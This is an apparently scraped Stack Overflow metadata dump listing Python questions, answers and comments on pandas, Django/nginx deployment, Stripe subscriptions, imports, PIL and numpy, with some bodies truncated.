has body: I am having trouble searching one list of numbers from one dataframe in the column of another. I am dealing with a case where different numbers refer to the same item. I am having trouble searching one list of numbers from one dataframe in the column of another. I am dealing with a case where different numbers refer to the same item. In my sample code, "term2" has entries with both code 'AAAA' and 'CCCC'. df1 = pd.DataFrame( { 'term' : ['term1','term2','term3','term4','term1','term3','term2'], 'code': ['ZZZZ', 'AAAA','XXXX','QQQQ','ZZZZ','XXXX','CCCC'], 'count':['1','3','1','1','1','1','3'] } ) df1 = df1[['term'] + df1.columns[:-1].tolist()] df2 = pd.DataFrame( { 'name': ['Dan','Sara','Conroy','Steve'], 'rate': ['3','3.5','5.2','3'], 'location': ['FL','OH','NM','NM'], 'code': ['XXXX','BBBB','PPPP','TTTT'], 'allcodes': ['XXXX,YYYY,ZZZZ','AAAA,BBBB,CCCC','PPPP,QQQQ,RRRR','SSSS,TTTT,UUUU'] } ) df2 = df2'name','rate','location','code','allcodes' pmissnlist = df1['code'].values.tolist() df3 = df2[df2['allcodes'].str.contains('|'.join(pmissnlist))].reset_index() df4 = pd.DataFrame(df3['allcodes'].str.split(',').tolist(), index=df3.code).stack(level=0).reset_index(level=0) matches = df4[df4[0].isin(df1.code)] df5 = df3[df3.code.isin(matches.code)] df5 = df5.drop_duplicates()#drops duplicate rows df5_temp = df5.set_index(['name','rate','location','code']).allcodes.str.split(',',expand = True)\ .stack().reset_index(4,drop = True).reset_index(name = 'allcodes') df5 = pd.merge(df1, df5_temp, left_on = 'code', right_on = 'allcodes') df5 = df5.drop('allcodes', 1).groupby(['code_y','term','count','name','rate','location']).code_x.\ apply(','.join).reset_index().sort_values(by='count', ascending=False) print(df5) The output is: code_y term count name rate location code_x 0 BBBB term2 3 Sara 3.5 OH AAAA,CCCC 1 PPPP term4 1 Conroy 5.2 NM QQQQ 2 XXXX term1 1 Dan 3 FL ZZZZ,ZZZZ 3 XXXX term3 1 Dan 3 FL XXXX,XXXX There are two instances of term2 associated with Sara, so I want her c…

http://stackoverflow.com/q/47241005
has comment: http://stackoverflow.com/comment/81433343
has comment: http://stackoverflow.com/comment/81432837
tagged with: django
has comment: http://stackoverflow.com/comment/81433268
has comment: http://stackoverflow.com/comment/81433601
score: 0
tagged with: nginx
has comment: http://stackoverflow.com/comment/81432488
has comment: http://stackoverflow.com/comment/81432652
has title: Django on Nginx connection refused
tagged with: python
has body: I want to run my django app on nginx webserver + gunicorn. I have setup most of the stuff already following tutorials and got to the point where I need to setup Nginx. I have my app in: /home/ec2-user/davidbien That's also where my virtualenv is installed. Inside davidbien folder I have the below script guni.sh: #!/bin/bash NAME="test" DJANGODIR=/home/ec2-user/davidbien SOCKFILE=/home/ec2-user/virtual/run/gunicorn.sock USER=ec2-user GROUP=ec2-user NUM_WORKERS=3 DJANGO_SETTINGS_MODULE=davidbien.settings DJANGO_WSGI_MODULE=davidbien.wsgi echo "Starting $NAME as `whoami`" # Activate the virtual environment cd $DJANGODIR source ../virtual/bin/activate export DJANGO_SETTINGS_MODULE=$DJANGO_SETTINGS_MODULE export PYTHONPATH=$DJANGODIR:$PYTHONPATH # Create the run directory if it doesn't exist RUNDIR=$(dirname $SOCKFILE) test -d $RUNDIR || mkdir -p $RUNDIR # Start your Django Unicorn # (do not use --daemon) exec gunicorn ${DJANGO_WSGI_MODULE}:application \ --name $NAME \ --workers $NUM_WORKERS \ --user=$USER --group=$GROUP \ --bind=unix:$SOCKFILE \ --log-level=debug \ --log-file=- This seems to be running fine as I don't get anything when running it. I can also run the app using gunicorn davidbien.wsgi:application --bind 0.0.0.0:8000 This works fine. Now, I get to nginx setup. I installed it and created two folders - sites-available and sites-enabled inside /etc/nginx/. I then created a file test.conf inside sites-available and inserted the below code inside: upstream app_server_djangoapp { server 35.177.26.219:8000 fail_timeout=0; } server { listen 80; server_name 35.177.26.219; access_log /var/log/nginx/guni-access.log; error_log /var/log/nginx/guni-error.log info; keepalive_timeout 5; # path for static files root /home/ec2-user/davidbien/davidbien/static; location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { proxy_pass http://app_server_djangoapp; break; } } } I also e…
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/81432573
type: UnansweredQuestion

http://stackoverflow.com/comment/81487729
type: AnswerComment
comment on: http://stackoverflow.com/a/47265743
type: Comment
has text: Working on it! help totally appreciated, thanks a lot, third edit already.
score: 0

http://stackoverflow.com/comment/81562512
score: 0
type: Comment
type: AnswerComment
has text: can u plz state that explicit wait condition code for my case? Its a bit confusing.
comment on: http://stackoverflow.com/a/47306084

http://stackoverflow.com/comment/81572308
comment on: http://stackoverflow.com/a/47309081
score: 0
type: Comment
type: AnswerComment
has text: While it isn't capable of generating all labeled binary trees, as I originally thought I would need the algorithm to, it can generate any tree up to an isomorphism, which is, as I now realize, all I needed. Thanks a lot!

http://stackoverflow.com/comment/81569246
has text: sorry, it does not see key -N `option requires an argument -- N usage: ssh-keygen [-q] [-b bits] [-t dsa | ecdsa | ed25519 | rsa | rsa1]`
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47308796

http://stackoverflow.com/q/47360840
answer count: 0
has comment: http://stackoverflow.com/comment/81674621
upvote count: 1
has body: I threw this together earlier today: import stripe stripe.api_key = "sk_test_key" stripe.Token.create( card={ "number": '4242424242424242', "exp_month": 12, "exp_year": 2018, "cvc": '123' }, ) stripe.Customer.create( description="test test test", source="tok_visa" ) stripe.Customer.list(limit=1) stripe.Subscription.create( customer="id", items=[ { "plan": "1", }, ], ) Running this returns with this read-only@bash: Traceback (most recent call last): File "main.py", line 28, in <module> "plan": "1", File "/tmp/stripe/api_resources/subscription.py", line 33, in create return super(Subscription, cls).create(**params) File "/tmp/stripe/api_resources/abstract/createable_api_resource.py", line 17, in create response, api_key = requestor.request('post', url, params, headers) File "/tmp/stripe/api_requestor.py", line 152, in request resp = self.interpret_response(rbody, rcode, rheaders) File "/tmp/stripe/api_requestor.py", line 359, in interpret_response self.handle_error_response(rbody, rcode, resp, rheaders) File "/tmp/stripe/api_requestor.py", line 177, in handle_error_response raise err stripe.error.InvalidRequestError: Request req_ZmLk0oWGjmrkut: No such customer: id This seems to be an error or I'm just putting the wrong value in "customer" Any ideas on on what to do?
tagged with: subscription
tagged with: stripe-payments
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81675038
has comment: http://stackoverflow.com/comment/81675319
type: UnansweredQuestion
tagged with: python
has title: Creating a subscription through Stripe-payments
score: 0

http://stackoverflow.com/comment/81499026
comment on: http://stackoverflow.com/q/47272383
type: Comment
type: QuestionComment
has text: @AlexOtt it is. :-)
score: 0

http://stackoverflow.com/q/47231858
has answer: http://stackoverflow.com/a/47231895
has title: How do i make python 3.6 import files relative to the file location?
score: 1
tagged with: python
type: Question
tagged with: python-3.x
downvote count: 0
type: UnansweredQuestion
upvote count: 1
answer count: 1
has body: I have a simple Python 3.6 program that I am writing with the following directory structure src/ Main.py File_Readers/ File_Reader.py Input_Reader.py I wrote the Input_Reader.py file so that it had the following structure. import File_Reader as fr def read_finance_history(file_name, path_length) """ Function in this section reads in a .csv and places the data into a dictionary """ return Dictionary class FileReaderTest(unites.TestCase) def test_read_finance_history(self): """ Unit test code in this section """ I unit tested the Input_Reader.py file in the File_Readers directory and it worked fine. However, when i call the Input_Reader.py program via an import statement from the Main.py file, it does not recognize the File_Reader module called in the Input_Reader.py file. Obviously the code is referencing everything from the Main.py location and I can fix the problem by changing the import statement in the Input_Reader.py file to read from File_Readers import File_Reader as fr, but then I can not run the unit tests from the File_Readers directory. How can I force the import statements in the Input_Reader.py file to always import relative to the location of that file?
favorite count: 0

http://stackoverflow.com/q/47372973
has body: My question is about finding the most popular web link and the number of times it appears on a certain date based off of a twitter data csv file. So far I've done this to my code: itb_links = [i[1] for i in itb if "://" in i[1] and '2015-11-16' == i[2][:10]] toplinks = collections.Counter(itb_links).most_common(1) for i in toplinks: print ("Top web link: " , i[1]) I can't get my code to print just the web link or to count the number of times it appears. The output should be: 2015-11-16 : 23743 total tweets Top web link: ('http://pbs.twimg.com/media/CT4p5lOWIAAfS3-.png', 193) Instead, I get this: 2015-11-16 : 23743 total tweets Top web link: RT @lacosacine: \\xa1Tenemos kits de #IntoTheBadlands! Hoy a la2 23:59 llega a AMC y lo celebramos con sorteo.\\n\\xa1RT para participar! http://pbs.twimg.com/media/CT4p5lOWIAAfS3-.png 165 Any help would be awesome! The main point is to find the most popular web link on 2015-11-16 and count how many times it was tweeted. Thanks!
tagged with: twitter
tagged with: computer-science
has comment: http://stackoverflow.com/comment/81698678
type: Question
has comment: http://stackoverflow.com/comment/81709209
has comment: http://stackoverflow.com/comment/81698744
tagged with: data-analysis
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81698865
has title: Python finding and counting most common link
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81698911
has comment: http://stackoverflow.com/comment/81698884

http://stackoverflow.com/a/47366345
score: 23
downvote count: 0
type: Answer
has body: Please download Visual C++ Build Tools 2015 Install the visualcppbuildtools_full from 1. Please ensure below dependencies were installed: Python later then 2.6, including Python 3.x, NumPy, SciPy, Pandas, Patsy, Cython After all the dependencies and visualcppbuildtools_full are installed, please relaunch your IDE or reboot computer. Please execute "pip3 install statsmodels" again after IDE relaunch. I'm using Windows VS code, and I found the statsmodels installation won't work unless I relaunch my VS code. Please try it.
upvote count: 23
answers question: http://stackoverflow.com/q/47253638

linux
tags question: http://stackoverflow.com/q/47228111
tags question: http://stackoverflow.com/q/47314694
tags question: http://stackoverflow.com/q/47271265
tags question: http://stackoverflow.com/q/47349141
tags question: http://stackoverflow.com/q/47382359
tags question: http://stackoverflow.com/q/47246711
tags question: http://stackoverflow.com/q/47312023
tags question: http://stackoverflow.com/q/47238161
tags question: http://stackoverflow.com/q/47248056
tag name: linux
tags question: http://stackoverflow.com/q/47299827
tags question: http://stackoverflow.com/q/47323948
tags question: http://stackoverflow.com/q/47326257
tags question: http://stackoverflow.com/q/47235042
tags question: http://stackoverflow.com/q/47359979
tags question: http://stackoverflow.com/q/47235661
tags question: http://stackoverflow.com/q/47349580
tags question: http://stackoverflow.com/q/47262144
tags question: http://stackoverflow.com/q/47278020
tags question: http://stackoverflow.com/q/47363198
tags question: http://stackoverflow.com/q/47314208
tags question: http://stackoverflow.com/q/47224930
tags question: http://stackoverflow.com/q/47316178
tags question: http://stackoverflow.com/q/47320846
tags question: http://stackoverflow.com/q/47230452
tags question: http://stackoverflow.com/q/47354484
tags question: http://stackoverflow.com/q/47325949
type: Tag
tags question: http://stackoverflow.com/q/47312458
tags question: http://stackoverflow.com/q/47304988
tags question: http://stackoverflow.com/q/47255981
tags question: http://stackoverflow.com/q/47267881
tags question: http://stackoverflow.com/q/47322702
tags question: http://stackoverflow.com/q/47294396
tags question: http://stackoverflow.com/q/47229286
tags question: http://stackoverflow.com/q/47269230
tags question: http://stackoverflow.com/q/47307561
tags question: http://stackoverflow.com/q/47321543
tags question: http://stackoverflow.com/q/47225210
tags question: http://stackoverflow.com/q/47271448

http://stackoverflow.com/comment/81429745
comment on: http://stackoverflow.com/a/47239563
type: Comment
type: AnswerComment
has text: Thanks Paul, is there a way to reverse your suggestion. This gives the values where count is not 3. I want these to be removed from my dataframe. I tries this df.groupby(level=0).filter(lambda g: g.count() = 3) but this doesn't work
score: 0

http://stackoverflow.com/q/47254563
has comment: http://stackoverflow.com/comment/81459591
has body: This is definitely more of a notional question, but I wanted to get others expertise input on this topic at SO. Most of my programming is coming from Numpy arrays lately. I've been matching items in two or so arrays that are different in sizes. Most of the time I will go to a for-loop or even worst, nested for-loop. I'm ultimately trying to avoid using for-loops as I try to gain more experience in Data Science because for-loops perform slower. I am well aware of Numpy and the pre-defined cmds I can research, but for those of you whom are experienced, do you have a general school of thought when you iterate through something? Something similar to the following: small_array = np.array(["a", "b"]) big_array = np.array(["a", "b", "c", "d"]) for i in range(len(small_array)): for p in range(len(big_array)): if small_array[i] == big_array[p]: print "This item is matched: ", small_array[i] I'm well aware there are more than one way to skin a cat with this, but I am interested in others approach and way of thinking.
has comment: http://stackoverflow.com/comment/81769059
has answer: http://stackoverflow.com/a/47255241
tagged with: python
has comment: http://stackoverflow.com/comment/81459615
favorite count: 0
tagged with: numpy
possible better answer: http://stackoverflow.com/a/47254812
answer count: 4
score: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/47255241
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47254812
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/81459708
tagged with: loops
has answer: http://stackoverflow.com/a/47255266
tagged with: vectorization
has title: How do I shift my thinking to 'vectorize my computation' more than using 'for-loops'?
has comment: http://stackoverflow.com/comment/81459640
type: Question
has answer: http://stackoverflow.com/a/47254948
has comment: http://stackoverflow.com/comment/81459618

http://stackoverflow.com/comment/81707412
score: 0
comment on: http://stackoverflow.com/q/47377686
has text: I would do: [float(i) for i in inputData.split(' ') if i<0]
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81630434
score: 0
comment on: http://stackoverflow.com/q/47339094
type: QuestionComment
type: Comment
has text: You don't need to iterate over the whole array yourself. You can just use `in`

http://stackoverflow.com/comment/81415705
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47231171
type: QuestionComment
has text: yes, for id 1 the calculation for jobs are ((2010Q1/2007Q1)-1), ((2010Q2/2007Q2)-1) and so on. Calculate the variation of jobs that had been from today to three years ago (in the same quarter)

http://stackoverflow.com/comment/81397244
comment on: http://stackoverflow.com/q/47223718
type: Comment
has text: @PeterWood: PEBKAC == "Problem Exists Between Keyboard And Chair" (ie: human error)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81541024
type: QuestionComment
has text: How did you install `catboost`? with `pip install catboost`?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47294900

http://stackoverflow.com/q/47376495
answer count: 4
has comment: http://stackoverflow.com/comment/81705155
type: AnsweredQuestion
has title: Occurrence of a letter case sensitive
possible better answer: http://stackoverflow.com/a/47376520
has answer: http://stackoverflow.com/a/47376551
accepted answer: http://stackoverflow.com/a/47376532
has body: I am trying to find occurrence of letter 'b' and 'B'. the code that I have written works perfectly. Is there a better way that i can do this. My code: def count_letter_b(string): #TODO: Your code goes here a = int(string.count('B')) b = int(string.count('b')) return a + b print count_letter_b("Bubble Bungle")
has answer: http://stackoverflow.com/a/47376520
upvote count: 0
has answer: http://stackoverflow.com/a/47376532
has comment: http://stackoverflow.com/comment/81705139
downvote count: 1
has answer: http://stackoverflow.com/a/47376561
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81705122
has comment: http://stackoverflow.com/comment/81706025
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81706040

http://stackoverflow.com/comment/81716724
score: 0
type: Comment
type: AnswerComment
has text: Are the `__` mandatory or would also just `def adder(a, b)` work?
comment on: http://stackoverflow.com/a/47381956

http://stackoverflow.com/comment/81626262
type: QuestionComment
comment on: http://stackoverflow.com/q/47337117
score: 0
has text: Why are you iterating through repl? You just want to replace i by repl[i]
type: Comment

http://stackoverflow.com/q/47292229
has answer: http://stackoverflow.com/a/47292536
type: Question
has comment: http://stackoverflow.com/comment/81535109
has title: Why a figure's Axes is not created?
has body: I'm trying not to use pyplot, but with the code below I only print a completely white figure. I found with 'fig.axes' that no axes at all is created for 'fig', although 'ax' is a 'matplotlib.axes._axes.Axes' instance. I'm wondering why... (I know that there are other ways to do obtain the plot, but my question is "what is wrong/missing here?"). from matplotlib.figure import Figure from matplotlib.axes import Axes from matplotlib.backends.backend_agg import FigureCanvasAgg from numpy import random data = [random.randn(5) for i in range(5)] fig = Figure(figsize = (20,10)) canvas = FigureCanvasAgg(fig) ax = Axes(fig, [0.1,0.1,0.5,0.7]) ax.pcolormesh(data) canvas.print_figure('test')
tagged with: matplotlib
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: axes
answer count: 1
accepted answer: http://stackoverflow.com/a/47292536

http://stackoverflow.com/comment/81583452
type: Comment
type: QuestionComment
has text: Possible duplicate of [Install numpy on python3.3 - Install pip for python3](https://stackoverflow.com/questions/17443354/install-numpy-on-python3-3-install-pip-for-python3)
comment on: http://stackoverflow.com/q/47316178
score: 1

http://stackoverflow.com/a/47338121
has comment: http://stackoverflow.com/comment/81628837
has body: listdir() preserves the order of your file system. See: Python - order of os.listdir Nonalphanumeric list order from os.listdir() in Python To sort your list based the numeric value in the file names: Use sorted and regex to sort on the numeric value of the file name. import re import os files_no_ext = [".".join(f.split(".")[:-1]) for f in os.listdir() if os.path.isfile(f)] files_no_ext = sorted(files_no_ext , key=lambda x: (x, int(re.sub('\D','', x)), x)) with open('trainval.txt', 'w') as f: for s in files_no_ext: f.write("%s\n" % s) # Could also do: f.write("\n".join(files_no_ext)) Using mode="a" on open() is also probably better (mode="a" means append)
accepted answer of: http://stackoverflow.com/q/47338057
has comment: http://stackoverflow.com/comment/81628885
has comment: http://stackoverflow.com/comment/81629333
has comment: http://stackoverflow.com/comment/81628668
has comment: http://stackoverflow.com/comment/81628726
has comment: http://stackoverflow.com/comment/81628895
has comment: http://stackoverflow.com/comment/81628749
has comment: http://stackoverflow.com/comment/81628947
answers question: http://stackoverflow.com/q/47338057
has comment: http://stackoverflow.com/comment/81628868
type: Answer
has comment: http://stackoverflow.com/comment/81628777
has comment: http://stackoverflow.com/comment/81628697
has comment: http://stackoverflow.com/comment/81628665
has comment: http://stackoverflow.com/comment/81629387
has comment: http://stackoverflow.com/comment/81628564
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81628535
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/81668529
comment on: http://stackoverflow.com/q/47357965
has text: Those aren't equivalent. You want `itertools.product(range(5), range(3), range(2), range(2))`, or `itertools.product(*map(range, (5, 3, 2, 2)))`.
type: Comment
type: QuestionComment
score: 5

http://stackoverflow.com/comment/81506752
score: 0
comment on: http://stackoverflow.com/q/47277553
has text: @g.d.d.c, I tried different seeds and I do not think file collision is an issue although the error message looks like one. The `FORTRAN` program expects an input file and will always save an output file to the hard drive. Do you think `tempfile` can handle this scenario?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47371469
has comment: http://stackoverflow.com/comment/81695619
answer count: 1
has comment: http://stackoverflow.com/comment/81695999
tagged with: quandl
type: Question
has title: How do I update a function using array values
type: UnansweredQuestion
has body: I am trying to make a stock screen in python using the Quandl libraries. The python package requires the format "dataset"/"stockticker"_"indicator" to retrieve the data. So example/AAPL_mktcap would give the market cap for Apple. I have already created a text file with all the stock tickers. My question is how do I best go about switching from example/AAPL_mktcap to example/AAPL_pricetoearnings or from example/AAPL_mktcap to example/MSFT_mktcap if say if pricetoearnings &lt;= 30is true or false.
has answer: http://stackoverflow.com/a/47371519
tagged with: python
score: 0

http://stackoverflow.com/comment/81702504
type: Comment
comment on: http://stackoverflow.com/q/47365463
score: 0
type: QuestionComment
has text: if page uses JavaScript to add links then you will have to use `Selenium` because `requests` and `BS` don't execute JavaScript (they don't event read files with JavaScript)

http://stackoverflow.com/comment/81501278
type: Comment
score: 0
has text: @the_storyteller I did not do that before installing python3.6. Now, with python3.6 I ran it but still nothing. same error.
type: QuestionComment
comment on: http://stackoverflow.com/q/47273820

http://stackoverflow.com/comment/81435304
has text: @TheAfghan: because my code is so efficient for multiline files ( as your format ).
comment on: http://stackoverflow.com/q/47241845
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47281904
has comment: http://stackoverflow.com/comment/81514321
has comment: http://stackoverflow.com/comment/81514434
has answer: http://stackoverflow.com/a/47282051
has comment: http://stackoverflow.com/comment/81514603
answer count: 1
has comment: http://stackoverflow.com/comment/81514155
favorite count: 0
type: Question
tagged with: python-3.x
downvote count: 2
has body: This is my first question here. I just started coding in Python, and trying to finish an assignment for my study in Python (it is actually supposed to be made in STATA but I want to learn Python). So I want to do the following (note that the final_list consists of 15000 rows, this is just a small example): final_list = [[2.0, 1.0, 5.0, 11.0, 50612.0, 0.38875884563387036, 0.5924978852272034, 8.400468826293945, 516.0, 0.0, 0.0, 0.0, 2003.0], [2.0, 1.0, 5.0, 11.0, 50612.0, 0.38875884563387036, 0.5924978852272034, 8.400468826293945, 517.0, 0.0, 0.0, 0.0, 2003.0], [2.0, 1.0, 5.0, 11.0, 50612.0, 0.38875884563387036, 0.5924978852272034, 8.400468826293945, 518.0, 0.0, 0.0, 0.0, 2003.0] to treshold = [11.0, 11.0, 11.0] Now what I've tried is this: treshold = [] for sublist in final_list: treshold_lst = sublist[3] treshold.append(treshold_lst) print(treshold) I receive the following error: IndexError: list index out of range Does anyone see what I'm doing wrong?
has comment: http://stackoverflow.com/comment/81514384
has comment: http://stackoverflow.com/comment/81514153
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81514795
upvote count: 2
has title: Return list with n'th values of a list of lists - Python
score: 0
has comment: http://stackoverflow.com/comment/81514142

http://stackoverflow.com/q/47230807
has comment: http://stackoverflow.com/comment/81435039
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81412887
has comment: http://stackoverflow.com/comment/100857931
tagged with: python
has comment: http://stackoverflow.com/comment/99390290
has body: This line in a python script: result = xmltodict.parse('path/to/schema.xml', encoding='utf-8') generates this error: johnnyb@verahost ~/SignalDB $ python3 xmltest.py Traceback (most recent call last): File "xmltest.py", line 13, in &lt;module&gt; result = xmltodict.parse('path/to/schema.xml', encoding='utf-8') File "/home/johnnyb/.local/lib/python3.5/site-packages/xmltodict.py", line 330, in parse parser.Parse(xml_input, True) xml.parsers.expat.ExpatError: not well-formed (invalid token): line 1, column 8 The first line of the file is: ï»¿&lt;?xml version="1.0" encoding="utf-8" standalone="yes"?&gt; What am I missing? Note: the BOM at the beginning does not show up via head at the linux command line (above text is from Win10). Suggestions welcome! Never had to monkey with XML before, my luck ended today... EDIT: I was able to get around it by open()ing the file first, but this seems like it should be unnecessary? with open('path/to/schema.xml', 'r', encoding='utf-8') as fd: result = xmltodict.parse(fd.read())
answer count: 0
downvote count: 0
upvote count: 1
score: 1
has title: xmltodict fails on the first line of an xml file
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
type: Question
tagged with: xmltodict
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81413177

http://stackoverflow.com/a/47281013
answers question: http://stackoverflow.com/q/47280683
has comment: http://stackoverflow.com/comment/81512824
has comment: http://stackoverflow.com/comment/81513932
score: 0
has comment: http://stackoverflow.com/comment/81514053
type: Answer
has comment: http://stackoverflow.com/comment/81512366
has body: The while loop isn't really necessary. infile = open('filename.txt','r') infile_list = infile.readlines() jan = infile_list[0:31] feb = infile_list[31:60] . . . .
has comment: http://stackoverflow.com/comment/81513870

http://stackoverflow.com/q/47308541
downvote count: 0
possible better answer: http://stackoverflow.com/a/63436357
has comment: http://stackoverflow.com/comment/108542402
has comment: http://stackoverflow.com/comment/81568066
has body: I want use PIL .save() method for export my PIL image list to pdf. in the PIL document , saving part say: => we can use append_images option for pdf format. and in pillow's github page , this issue say : Added append_images to PDF saving #2526 I wrote this code: import PIL im1 = PIL.Image.open("1.jpg").convert("RGB") im2 = PIL.Image.open("2.jpg").convert("RGB") im3 = PIL.Image.open("3.jpg").convert("RGB") images = [im1,im2,im3] images[0].save("out.pdf", save_all=True, append_images=images[1:]) but it doesn't work! These errors raised: Traceback (most recent call last): File "sample.py", line 13, in <module> gif.save("out.pdf", save_all=True, append_images=images) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/PIL/Image.py", line 1928, in save save_handler(self, fp, filename) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/PIL/PdfImagePlugin.py", line 55, in _save_all _save(im, fp, filename, save_all=True) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/PIL/PdfImagePlugin.py", line 182, in _save Image.SAVE["JPEG"](im, op, filename) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/PIL/JpegImagePlugin.py", line 609, in _save info = im.encoderinfo AttributeError: 'Image' object has no attribute 'encoderinfo'
has comment: http://stackoverflow.com/comment/81570043
has answer: http://stackoverflow.com/a/63436357
linked to: http://stackoverflow.com/q/12626654
has comment: http://stackoverflow.com/comment/81568302
has comment: http://stackoverflow.com/comment/81572743
score: 17
favorite count: 0
upvote count: 17
type: Question
has comment: http://stackoverflow.com/comment/81569614
has comment: http://stackoverflow.com/comment/81569058
tagged with: python-imaging-library
has comment: http://stackoverflow.com/comment/81568771
has comment: http://stackoverflow.com/comment/81569980
linked to: http://stackoverflow.com/q/27327513
has answer: http://stackoverflow.com/a/65872515
tagged with: python
accepted answer: http://stackoverflow.com/a/48210525
has answer: http://stackoverflow.com/a/48210525
has comment: http://stackoverflow.com/comment/81574005
has title: How to save an image list in PDF using PIL (pillow)?
type: AnsweredQuestion
answer count: 3
tagged with: http://stackoverflow.com/tag/pdf

http://stackoverflow.com/comment/81610966
type: AnswerComment
comment on: http://stackoverflow.com/a/47329689
has text: 'self' is not a namespace. In my question is represent Item. That the Item itself should exist in Parent and not in an Child. If I type ***=self*** I get _Exception Value: name 'self' is not defined_
type: Comment
score: 0

http://stackoverflow.com/a/47373957
downvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47373939
upvote count: 4
answers question: http://stackoverflow.com/q/47373939
score: 3
type: AcceptedAnswer
has body: Use numpy.pad in constant mode with a pad_width (8-len(a), 0) which pads 8-len(a) zeros to the left, and nothing to the right: a = [1, 0, 0] np.pad(a, (8-len(a), 0), 'constant') # array([0, 0, 0, 0, 0, 1, 0, 0])

http://stackoverflow.com/a/47339931
type: AcceptedAnswer
downvote count: 0
has body: You can replace '.mp3' with '' as follows: msg = [s.replace('.mp3','') for s in os.listdir("songs")]
score: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/47339896
answers question: http://stackoverflow.com/q/47339896
upvote count: 2

http://stackoverflow.com/q/47322953
tagged with: python
possible better answer: http://stackoverflow.com/a/47323368
has answer: http://stackoverflow.com/a/47323368
has title: Pandas: Convert a DataFrame into a Series when index is Year-Month and columns are Day
type: AnsweredQuestion
score: 2
answer count: 2
upvote count: 2
downvote count: 0
has body: I have a dataframe that looks similar to the following: df = pd.DataFrame({'Y_M':['201710','201711','201712'],'1':[1,5,9],'2':[2,6,10],'3':[3,7,11],'4':[4,8,12]}) df = df.set_index('Y_M') Which creates a dataframe looking like this: 1 2 3 4 Y_M 201711 1 2 3 4 201712 5 6 7 8 201713 9 10 11 12 The columns are the day of the month. They stretch on to the right, going all the way up to 31. (February will have columns 29, 30, and 31 filled with NaN). The index contains the year and the month (e.g. 201711 referring to Nov 2017) My question is: How can I make this a single series, with the year/month/day combined? My output would be the following: Y_M 20171001 1 20171002 2 20171003 3 20171004 4 20171101 5 20171102 6 20171103 7 20171104 8 20171201 9 20171202 10 20171203 11 20171204 12 The index can be converted to a datetime. In fact I think it would make it easier.
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47323066
tagged with: pandas
has answer: http://stackoverflow.com/a/47323066

http://stackoverflow.com/q/47280202
tagged with: data-fitting
has comment: http://stackoverflow.com/comment/81511217
tagged with: interpolation
tagged with: numpy
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/81510990
score: 1
upvote count: 1
has body: I have two datasets from two sources vovering one signal and want to find the factor between the two. They have different resolutions in x and y as well as one set being more noisy than the other. the following gives a simple approximation, though the actual data does not follow an easy-to-fit polynomial. import numpy as np import matplotlib.pyplot as plt datax1 = np.linspace(0,100,1000) datay1 = np.around(datax1,-1)**2 datax2 = np.linspace(0,100,80)+np.random.normal(0,0.2,80) datay2 = (datax2**2)*np.random.normal(5,0.5)+np.random.normal(0,500,80) plt.title('Data 1 VS Data 2') plt.plot(datax1,datay1,'b',label='Data 1') plt.plot(datax2,datay2,'r',label='Data 2') plt.legend() plt.savefig('img.png', bbox_inches='tight', dpi=72) similar data, different noise and rez I need to automate finding this factor since I have more datasets to analyse, but SciPy's curve_fit does not play nice with interpolate as import scipy.optimize as opt import scipy.interpolate as interp def func(x,k): fun=interp(datax1,datay1*k) return fun(x) print opt.curve_fit(func,datax2,datay2) only returns TypeError: 'module' object is not callable at the definition of fun Is there any way to do this with numpy or scipy or do I have to build my own least-squares function to find the scaling of the data?
has comment: http://stackoverflow.com/comment/81511606
tagged with: scipy
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81511504
has comment: http://stackoverflow.com/comment/81511415
has title: Finding scaling factor of related datasets
has comment: http://stackoverflow.com/comment/81653829
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/86742700
score: 0
type: Comment
type: QuestionComment
has text: @hoefling I get a Client error.
comment on: http://stackoverflow.com/q/47361537

http://stackoverflow.com/comment/81600982
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47325046
type: Comment
has text: Could you edit your answer to provide an output you are expecting?

http://stackoverflow.com/comment/81649784
type: QuestionComment
has text: Possible duplicate of [Loss function for class imbalanced binary classifier in Tensor flow](https://stackoverflow.com/questions/35155655/loss-function-for-class-imbalanced-binary-classifier-in-tensor-flow)
comment on: http://stackoverflow.com/q/47347833
score: 0
type: Comment

http://stackoverflow.com/comment/81700987
has text: If you think my answer is appropriate can you consider accepting the answer ? https://stackoverflow.com/help/someone-answers
type: AnswerComment
comment on: http://stackoverflow.com/a/47367401
score: 0
type: Comment

http://stackoverflow.com/comment/81635300
comment on: http://stackoverflow.com/q/47321862
score: 0
has text: @HouyNarun I run your code and the output of `-223` is `-223`!
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47344644
type: Question
